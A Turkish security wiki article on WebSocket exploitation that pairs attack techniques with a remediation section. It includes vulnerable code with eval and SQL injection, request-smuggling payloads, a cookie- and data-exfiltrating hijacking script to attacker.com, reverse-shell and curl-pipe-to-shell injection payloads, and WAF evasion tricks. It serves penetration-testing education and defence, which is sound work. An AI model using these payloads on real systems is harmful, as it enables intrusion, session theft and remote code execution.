WebSockets Security & Advanced Exploitation
> Yazar: Emre Ermenek
WebSockets (RFC 6455), modern web uygulamalarında istemci ile sunucu arasında düşük gecikmeli, tam çift yönlü (full-duplex) ve sürekli açık bir TCP bağlantısı kurmak için standart haline gelmiştir. HTTP'nin tek yönlü (stateless) "istek-cevap" (request-response) döngüsünün aksine, WebSocket mimarisinde bağlantı bir kez kurulur ve her iki taraf da asenkron olarak veri (frame) gönderebilir. Red Team perspektifinden WebSockets; geleneksel HTTP tabanlı WAF'ları (Web Application Firewall) atlatmak, ters proxy (reverse proxy) sistemlerinde durum karmaşası (state confusion) yaratmak, kimlik doğrulama mekanizmalarını bypass etmek ve iç ağlara tünellenmiş saldırılar gerçekleştirmek için muazzam bir saldırı yüzeyi sunar.
How It Works (Teknik Analiz)
WebSocket bağlantısı, standart bir HTTP/1.1 isteği ile başlar. İstemci, sunucuya Upgrade: websocket başlığını içeren bir istek göndererek protokolü değiştirmek istediğini belirtir. Bu sürece WebSocket Handshake denir.
Sunucu bu yükseltmeyi (upgrade) destekliyorsa ve kabul ediyorsa, 101 Switching Protocols durum kodunu döndürür. Bu andan itibaren HTTP protokolü sona erer ve aynı TCP soketi üzerinden WebSocket frame'leri (veri paketleri) akmaya başlar.
Güvenlik mekanizmasının temel yapı taşlarından biri olan Sec-WebSocket-Key başlığı, istemci tarafından rastgele üretilen Base64 formatında bir değerdir. Sunucu bu değeri alır, üzerine statik bir GUID (258EAFA5-E914-47DA-95CA-C5AB0DC85B11) ekler, SHA-1 özetini alır, Base64 ile kodlar ve Sec-WebSocket-Accept başlığı ile geri döndürür. Bu işlem bir şifreleme veya güvenlik önlemi değil, yalnızca bağlantının bir proxy tarafından yanlışlıkla önbelleğe alınmasını engellemek için tasarlanmış bir doğrulama adımıdır.
Mimari düzeyde zafiyetler genellikle şu noktalarda ortaya çıkar:
- State Confusion (Durum Karmaşası): Ön uçtaki Proxy'nin (Varnish, Nginx, HAProxy) bağlantının WebSocket'e yükseltildiğini sanması, ancak arka ucun (Backend) hala HTTP beklemesi (veya tam tersi).
- Kimlik Doğrulama Eksikliği: HTTP Handshake sırasında çerezler (cookies) otomatik olarak gönderilse de, WebSocket protokolünün kendi içinde bir yetkilendirme standartı yoktur. Çoğu geliştirici bağlantı kurulduktan sonra mesajların yetkilerini kontrol etmeyi unutur.
- Veri Doğrulama (Sanitization): HTTP istekleri WAF tarafından taranırken, WebSocket tüneli açıldıktan sonra geçen ikili (binary) veya metin tabanlı (opcode 0x1) veriler genellikle denetimsiz bırakılır.
Vulnerable Code Patterns
Geliştiricilerin WebSocket implementasyonlarında sıkça yaptığı ölümcül hatalar:
Pattern 1: Origin Doğrulamasının Olmaması (Node.js / ws) - CSWSH Zafiyeti
Aşağıdaki kod, bağlantıyı başlatan istemcinin hangi domain'den geldiğini (Origin başlığını) kontrol etmez. Bu durum Cross-Site WebSocket Hijacking (CSWSH) saldırısına davetiye çıkarır.
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });
wss.on('connection', function connection(ws, req) {
// ZAFİYET: req.headers.origin kontrol edilmiyor!
// Herhangi bir domain'den gelen bağlantı kabul ediliyor.
ws.on('message', function incoming(message) {
// ZAFİYET: Gelen veri doğrudan JSON.parse() ile alınıyor ancak
// şema doğrulaması (schema validation) yapılmıyor.
let data = JSON.parse(message);
db.query(`SELECT * FROM users WHERE id = ${data.id}`); // SQL Injection
});
});
Pattern 2: eval() veya Tehlikeli Fonksiyonların Kullanımı (Python) Gelen verinin tipini doğrulamadan doğrudan işletim sistemine veya yorumlayıcıya göndermek.
import asyncio
import websockets
import json
async def handler(websocket, path):
async for message in websocket:
data = json.loads(message)
# ZAFİYET: Uzaktan Kod Çalıştırma (RCE)
# Gelen payload doğrudan eval() fonksiyonuna besleniyor.
result = eval(data['command'])
await websocket.send(str(result))
start_server = websockets.serve(handler, "localhost", 8765)
Detection & Enumeration (Keşif ve Analiz)
WebSocket uç noktalarını (endpoints) tespit etmek için salt pasif analiz yeterli değildir, aktif fuzzing ve protokol manipülasyonu gerekir.
- Pasif Keşif: JavaScript dosyalarında (Source Maps dahil)
ws://vewss://URI şemalarının aranması. Burp Suite'in "WebSockets History" sekmesinin incelenmesi. - Aktif Fuzzing: Hedef uygulamanın
Upgrade: websocketbaşlıklarına verdiği tepkilerin ölçülmesi.- Error-Based Yöntem: Bağlantı kurulduktan sonra beklenmeyen frame tipleri (örn: Text beklenen yere Binary frame, veya aşırı büyük payload'lar) göndererek uygulamanın çöktüğü (stack trace sızdırdığı) durumların tespiti.
- Time-Based Yöntem: Geleneksel Blind SQLi payload'larını (
SLEEP(10),pg_sleep()) WebSocket mesajları içinde JSON key veya value alanlarına yerleştirerek sunucu yanıt süresinin ölçülmesi.
- Proxy Davranış Analizi:
Sec-WebSocket-Versionbaşlığına13yerine geçersiz (777,a) değerler göndererek Proxy'nin426 Upgrade Requiredhatasına nasıl tepki verdiğini (TCP tünelini açıp açmadığını) analiz etmek.
Attack Vectors & Exploitation (İstismar Vektörleri)
HTTP Request Smuggling via WebSockets (Bozuk Tüneller)
Modern mimarilerde istemci ile Backend arasında Varnish, Nginx gibi ters proxy'ler bulunur. Proxy, Upgrade isteğini backend'e ilettiğinde, backend'in vereceği yanıtı beklemeden TCP bağlantısını "Tünel" (Tunnel) moduna geçirirse zafiyet doğar.
- Saldırgan
Sec-WebSocket-Version: 777gibi geçersiz bir başlık gönderir. - Proxy bunu Backend'e iletir ve bağlantıyı WebSocket'e yükselttiğini zannederek TCP tünelini açar.
- Backend sürümü desteklemediği için
426 Upgrade Requireddöner ve HTTP protokolünde kalmaya devam eder. - Proxy artık içeriğe bakmadan her şeyi Backend'e aktardığı için, saldırgan bu tünelin içine ikinci bir HTTP isteği (Smuggled Request) sokar. Backend bu isteği sanki yetkili bir iç ağ isteğiymiş gibi işler (örn: WAF kısıtlamalarını aşarak
/flagdizinine erişim).
Proxy Deception & SSRF Chaining (Nginx Bypass)
Eğer Proxy (örn: Nginx) durumu doğruluyorsa (yani Backend'den kesinlikle 101 Switching Protocols yanıtı bekliyorsa), basit smuggling çalışmaz. Bu durumda Proxy'yi kandırmak (Trick) gerekir. Uygulamada bir SSRF (Server-Side Request Forgery) zafiyeti varsa:
- Saldırgan, internete açık kendi sunucusunda her isteğe
101 Switching Protocolsdönen sahte bir servis ayağa kaldırır. - Hedefteki SSRF uç noktasına (örn:
/check-url?server=http://attacker.com/fake-ws) bir istek gönderir ve bunu bir WebSocket Upgrade isteğinin içine gömer. - Proxy bu isteği Backend'e iletir. Backend, SSRF tetiklendiği için saldırganın sunucusuna gider,
101yanıtını alır ve Proxy'ye geri yansıtır. - Proxy
101yanıtını görünce TCP tünelini açar. Ancak gerçekte ortada bir WebSocket yoktur! Saldırgan artık Smuggled HTTP isteklerini tünel üzerinden Backend'e pompalayabilir.
Cross-Site WebSocket Hijacking (CSWSH)
WebSocket el sıkışması HTTP üzerinden yapılır. Eğer oturum yönetimi sadece HTTP Çerezleri (Cookies) ile yapılıyorsa ve CSRF token veya sıkı Origin doğrulaması yoksa:
Saldırgan bir web sitesi hazırlar. Kurban bu siteye girdiğinde, saldırganın yazdığı JavaScript kodu hedef sunucuya wss://target.com/chat adresine bağlantı açar. Tarayıcı, kurbanın çerezlerini otomatik olarak gönderdiği için bağlantı yetkili olarak açılır. HTTP CSRF'ten farklı olarak, WebSocket çift yönlü olduğu için saldırgan SADECE istek göndermekle kalmaz, kurbanın tüm özel mesajlarını veya verilerini okuyabilir.
DOM-Based XSS via WebSockets
WebSocket üzerinden gelen veriler istemci tarafında (tarayıcıda) doğrudan DOM'a yazılıyorsa (örn: element.innerHTML = message.data), saldırgan WebSocket kanalına zararlı JavaScript kodları enjekte edebilir. Bu kod, diğer kullanıcıların tarayıcılarında çalışarak oturumlarını ele geçirir.
Command & SQL Injection over WebSockets
WebSocket tüneli WAF (Web Application Firewall) tarafından incelenemediği için (Deep Packet Inspection desteği yoksa), saldırgan standart SQL Injection veya Command Injection payload'larını JSON formatında (örn: {"id": "1 OR 1=1"}) doğrudan Backend veri tabanına veya işletim sistemine aktarabilir.
Ticket-Based Auth Bypass & Connection Exhaustion (DoS)
WebSocket bağlantılarında kimlik doğrulama genellikle ilk handshake sırasında query string (ws://api.com/?token=abc) üzerinden yapılır.
- Auth Bypass: Eğer token doğrulama mantığı asenkron olarak hatalı tasarlanmışsa (Race Condition) veya JWT imzası kontrol edilmiyorsa bypass gerçekleşir.
- DoS (Denial of Service): Saldırgan binlerce WebSocket bağlantısı açarak (TCP Connection Exhaustion) sunucunun limitlerini doldurur. Ayrıca, sunucu tarafında
maxPayloadsınırı yoksa, GB'larca büyüklükte tek bir frame göndererek Memory Exhaustion (OOM) yaratabilir.
Payloads & Advanced Commands
Request Smuggling Payloads (Varnish / Blind Proxy)
Update Content-Length ayarı kapatılarak (Burp Suite) gönderilmelidir. İlk istekten sonraki 2 satır boşluk (\r\n\r\n) kritiktir.
GET /socket HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 777
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
GET /admin/hidden-endpoint HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
SSRF to WebSocket Smuggling (Nginx / Strict Proxies)
Adım 1: Saldırgan Sunucusunda 101 Dönen Servisi Başlatma
# attacker_server.py
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class FakeWebSocket(BaseHTTPRequestHandler):
def do_GET(self):
self.protocol_version = "HTTP/1.1"
self.send_response(101)
self.end_headers()
HTTPServer(("0.0.0.0", 5555), FakeWebSocket).serve_forever()
Adım 2: SSRF Zafiyetli Uç Noktayı Suistimal Eden Smuggling İsteği
GET /check-url?server=http://[ATTACKER_IP]:5555 HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: target.com
Cross-Site WebSocket Hijacking (CSWSH) Payloads
Kurbanın oturumunu ele geçiren ve gelen WebSocket mesajlarını saldırganın sunucusuna exfiltre eden zararlı HTML/JS dosyası.
<script>
// Hedef WebSocket sunucusuna kurbanın çerezleriyle bağlantı aç
var ws = new WebSocket('wss://target-app.com/socket');
ws.onopen = function() {
// Oturumu tetikleyecek bir komut gönder (uygulamanın API'sine göre değişir)
ws.send(JSON.stringify({action: "get_sensitive_data"}));
};
ws.onmessage = function(event) {
// Gelen hassas veriyi saldırganın webhook sunucusuna sızdır
fetch('https://attacker.com/log', {
method: 'POST',
mode: 'no-cors',
body: event.data
});
};
</script>
In-Band Injection & XSS Payloads over WebSockets
WebSocket üzerinden kurulan interaktif shell'ler (örn: wscat) kullanılarak gönderilebilecek payload varyasyonları:
XSS Payloads (JSON Message Body):
{"type": "chat", "message": "<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>"}
{"user_bio": "\u003cscript\u003ealert(origin)\u003c/script\u003e"}
SQL Injection Payloads (Bypass WAF via WS):
{"id": "1' UNION SELECT username, password FROM users-- -"}
{"query": "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -"}
Command Injection (RCE) Payloads:
{"action": "ping", "target": "127.0.0.1; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"}
{"log_file": "$(curl http://attacker.com/shell.sh | sh)"}
Automation & Tooling Commands
wscat ve websocat gibi araçlarla CLI üzerinden WS pentest otomasyonu:
# Temel bağlantı (Header manipülasyonu ile)
wscat -c wss://target.com/chat -H "Origin: https://trusted.com" -H "X-Forwarded-For: 127.0.0.1"
# Kimlik doğrulama bypass denemesi için farklı origin ile bağlanma
websocat wss://target.com/api --header "Origin: null"
# Fuzzing için wfuzz kullanımı (wscat ile pipe edilerek)
wfuzz -c -z file,payloads.txt -d '{"command":"FUZZ"}' http://localhost:8080/ (Script adaptasyonu gerekir)
Bypass & Obfuscation (Atlatma Teknikleri)
- Origin Spoofing: CSWSH korumalarını aşmak için
Originbaşlığını manipüle etmek. Sık yapılan regex hatalarını suistimal edin:- İzin verilen:
https://target.com - Bypass:
https://target.com.attacker.comveyaOrigin: null
- İzin verilen:
- WebSocket Frame Fragmentation: Modern WAF'lar WebSocket trafigini izleyebiliyorsa, zararlı payload'u tek bir mesaj (frame) yerine, Continuation Frames (Opcode 0x0) kullanarak byte byte bölerek (fragmante ederek) gönderin. IDS/IPS imzaları bu parçalanmış veriyi birleştiremeyeceği için bypass gerçekleşir.
- JSON Unicode & Double Encoding: WebSocket içindeki payload'lar JSON parse ediliyorsa, karakterleri unicode (
\u0027->',\u003c-><) şeklinde encode ederek basit filtreleri atlatın. - Header Injection: WAF veya Rate Limiter'ları aşmak için Handshake sırasında
X-Forwarded-For,X-Real-IPveClient-IPbaşlıklarını ekleyerek her bağlantıda IP rotasyonunu simüle edin.
Remediation & Prevention (Önleme ve Savunma)
- Transport Security: Üretim ortamlarında KESİNLİKLE düz
ws://kullanılmamalıdır. Veri sızıntısını ve MITM saldırılarını engellemek için sadecewss://(WebSockets over TLS) kullanılmalıdır. - Strict Origin Validation (Sıkı Köken Doğrulaması): Handshake sırasında gelen
Originbaşlığı kesinlikle doğrulanmalıdır. Regex yerine Allowlist (İzin Verilenler Listesi) yaklaşımı kullanılmalı ve wildard (*) kullanılmamalıdır. - Ticket-Based Authentication: Çerez tabanlı (Cookie) kimlik doğrulama yerine, kısa ömürlü, tek kullanımlık biletler (Ticket/Token) kullanılmalıdır. İstemci önce HTTP üzerinden bir bilet alır, ardından WebSocket bağlantısını kurarken bu bileti iletir.
- Input Sanitization & Schema Validation: İstemciden gelen veriler
eval()gibi tehlikeli fonksiyonlara ASLA verilmemelidir. Veriler kesinlikleJSON.parse()ile parse edilmeli ve JSON Schema validator (örn: Ajv) ile yapısal olarak (tip, uzunluk, format) doğrulanmalıdır. - Proxy Configuration: Varnish, Nginx veya HAProxy gibi ters proxy'lerde HTTP/1.1
Upgradeyönergeleri doğru yapılandırılmalı, protokol düşürme (downgrade) saldırılarına karşıConnection: Upgradebaşlıkları sıkı denetlenmelidir. - Rate Limiting & Resource Management: DoS saldırılarını önlemek için IP başına düşen maksimum WebSocket bağlantı sayısı kısıtlanmalı, maksimum mesaj boyutu (Payload Size Limit - örn: 64KB) belirlenmeli ve Ping/Pong frame'leri kullanılarak ölü (zombie) bağlantılar (Idle Timeout) temizlenmelidir.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Suite (Pro) | WS history analizi, CSWSH üretimi, Repeater ile Handshake manipülasyonu | (UI tabanlı, komut yok) |
| wscat | CLI tabanlı WebSocket istemcisi, interaktif pentest ve payload gönderimi | wscat -c wss://target -H "Origin: a.com" |
| websocat | Netcat'in WebSocket versiyonu, port yönlendirme ve tünelleme işlemleri | websocat wss://target.com/ws - |
| ZAP (OWASP) | Otomatik WebSocket zafiyet taraması ve fuzzer desteği | (UI tabanlı, komut yok) |
| Python (websockets) | SSRF Bypass için özel sahte 101 servisleri ve istismar scriptleri yazımı | python3 -m websockets wss://target |
| SteWS | WebSocket üzerinden yapılandırılmış zafiyet tarama aracı (Advanced pentesting) | stews --url wss://target.com/ |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv